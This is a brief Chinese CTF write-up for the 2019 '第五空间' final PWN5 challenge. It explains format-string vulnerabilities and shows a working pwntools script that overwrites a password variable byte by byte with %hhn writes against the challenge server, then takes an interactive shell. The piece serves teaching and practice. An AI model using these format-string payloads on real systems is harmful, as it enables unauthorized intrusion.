[第五空间2019 决赛]PWN5
格式化漏洞讲解: https://www.cnblogs.com/0xJDchen/p/5904816.html
%x是吧数据以16进制输出
%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据
格式 : %12$x 可以直接定位到地12个参数 其他%p,%s,%%n等类似
一般来说 先输入 'AAAA %08x %08x %08x %08x %08x.....'来判断我们输入首地址的偏移 (找到41414141就是AAAA)
继而就可以任意修改栈上的数据
看题目
明显的格式化漏洞
因为这个unk_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可
from pwn import * # io=process('./pwn') io=remote('node3.buuoj.cn',28876) addr=0x0804C044 # base=10 payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3) payload+='%10$hhn%11$hhn%12$hhn%13$hhn' io.sendline(payload) payload=str(0x10101010) io.sendline(payload) io.interactive()
补充说明:%n %s 是要解析出数据表达的地址的, 所以我们才能实现任意地址修改(要有修改权限,没有的话可以调用某个函数,给忘了。。。)
这里我们把bss地址先输入,然后用%10hhn %11hhn %12hhn %13hhn按一个一个byte地修改